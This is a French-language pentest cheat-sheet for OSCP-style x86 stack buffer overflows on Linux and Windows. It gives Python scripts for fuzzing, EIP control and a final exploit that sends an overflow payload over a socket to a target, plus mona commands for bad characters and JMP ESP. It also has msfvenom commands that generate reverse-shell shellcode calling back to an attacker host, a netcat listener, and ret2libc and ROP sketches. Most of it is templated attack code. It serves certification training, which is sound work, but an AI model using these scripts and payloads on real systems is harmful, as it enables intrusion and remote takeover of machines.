---
title: "Buffer Overflow — x86 Linux & Windows"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [buffer-overflow, bof, shellcode, exploit, EIP, x86, pentest, OSCP]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## Méthodologie BoF classique (OSCP-style)

```
1. Fuzzer — trouver la taille du crash
2. Offset — localiser l'offset précis vers EIP
3. Contrôler EIP — confirmer l'overwrite
4. Bad chars — identifier les caractères interdits
5. Trouver le JMP ESP — pointeur de retour valide
6. Shellcode — générer et placer
7. Exploit — exécuter
```

## 1. Fuzzer

```python
#!/usr/bin/env python3
import socket, time, sys

{{TARGET_IP}} = "{{TARGET_IP}}"
{{PORT}} = {{PORT}}

payload = b"A" * 100

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(({{TARGET_IP}}, {{PORT}}))
            s.recv(1024)
            print(f"[*] Sending {len(payload)} bytes")
            s.send(b"OVERFLOW " + payload + b"\r\n")
            s.recv(1024)
    except Exception as e:
        print(f"[!] Crash at {len(payload)} bytes: {e}")
        sys.exit()
    
    payload += b"A" * 100
    time.sleep(0.5)
```

## 2. Trouver l'offset exact

```bash
# Générer un pattern cyclique
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# ou msf-pattern_create -l 3000

# Envoyer le pattern au programme
# Observer EIP dans le debugger (Immunity, x64dbg, GDB)
# EIP = 6F43396E par exemple

# Trouver l'offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 6F43396E
# ou msf-pattern_offset -l 3000 -q 6F43396E
# → Exact match at offset 1978
```

## 3. Confirmer le contrôle EIP

```python
#!/usr/bin/env python3
import socket

offset = 1978   # à adapter

payload  = b"A" * offset
payload += b"B" * 4   # EIP → 42424242
payload += b"C" * 16  # ESP

with socket.socket() as s:
    s.connect(("{{TARGET_IP}}", {{PORT}}))
    s.recv(1024)
    s.send(b"OVERFLOW " + payload + b"\r\n")
# EIP doit afficher 42424242 dans le debugger
```

## 4. Trouver les bad chars

```python
# Générer tous les bytes 0x01 à 0xFF (0x00 est presque toujours bad)
badchars = b"".join(bytes([i]) for i in range(1, 256))

payload  = b"A" * offset
payload += b"B" * 4   # EIP
payload += badchars

# Envoyer, observer le dump ESP dans le debugger
# Chercher où la séquence se coupe ou est modifiée
```

```bash
# Avec mona.py (Immunity Debugger)
!mona bytearray -b "\x00"
# Après le crash :
!mona compare -f C:\mona\bytearray.bin -a <adresse_ESP>
```

## 5. Trouver un JMP ESP

```bash
# Mona — chercher dans les modules sans ASLR/DEP/SafeSEH
!mona modules
!mona jmp -r esp -cpb "\x00\x0a\x0d"   # exclure les bad chars

# Si mona n'est pas disponible :
# Chercher l'opcode JMP ESP (0xFF 0xE4) dans les binaires
nasm_shell.rb
> jmp esp
> FFE4   # opcode

# Chercher manuellement avec pwndbg/pwntools
python3 -c "
import struct
# Chercher 0xFFE4 dans un module chargé
"

# Rappel : l'adresse ne doit pas contenir de bad chars
```

## 6. Générer le shellcode

```bash
# msfvenom — reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} \
  EXITFUNC=thread -b "\x00\x0a\x0d" -f python

# Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} \
  -b "\x00" -f python

# Sans metasploit — shellcode custom
# https://shell-storm.org/shellcode/
```

## 7. Exploit final

```python
#!/usr/bin/env python3
import socket

TARGET    = "{{TARGET_IP}}"
PORT      = {{PORT}}
offset    = 1978
ret_addr  = b"\xdf\x14\x50\x62"  # adresse JMP ESP en little-endian
nop_sled  = b"\x90" * 16         # NOP sled

# Shellcode msfvenom (remplacer avec le vrai)
shellcode = b""
shellcode += b"\xda\xc1\xd9\x74\x24\xf4\x5b..."  # payload ici

payload  = b"A" * offset
payload += ret_addr
payload += nop_sled
payload += shellcode

with socket.socket() as s:
    s.connect((TARGET, PORT))
    s.recv(1024)
    s.send(b"OVERFLOW " + payload + b"\r\n")

# Écouter :
# nc -lvnp {{LPORT}}
```

## Contournements modernes

### ASLR bypass — Brute force (32 bits)

```bash
# L'espace d'adressage 32 bits est limité (~16M combinaisons)
# En boucle jusqu'au succès
for i in range(65536): exploit()
```

### DEP/NX bypass — ret2libc

```python
# Trouver l'adresse de system() et "/bin/sh" dans libc
# ldd ./vuln → trouver l'adresse base libc
# readelf -s /lib/libc.so.6 | grep " system"
# strings -a -t x /lib/libc.so.6 | grep "/bin/sh"

libc_base = 0xf7e00000
system    = libc_base + 0x3a940
bin_sh    = libc_base + 0x15ba0b
exit_addr = libc_base + 0x2e7b0

payload  = b"A" * offset
payload += struct.pack("<I", system)   # ret addr → system()
payload += struct.pack("<I", exit_addr) # return après system()
payload += struct.pack("<I", bin_sh)   # argument = "/bin/sh"
```

### ROP chains

```bash
# ROPgadget — trouver des gadgets
ROPgadget --binary ./vuln --rop

# pwntools
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
rop.call(elf.symbols['system'], [next(elf.search(b'/bin/sh\x00'))])
```

<Tip>
Pour OSCP : toujours travailler avec Immunity Debugger + mona.py sur Windows. La séquence complète (fuzz → offset → badchars → JMP ESP → shellcode) est systématique. Le NOP sled de 16 bytes avant le shellcode est suffisant pour absorber les petites variations de stack.
</Tip>
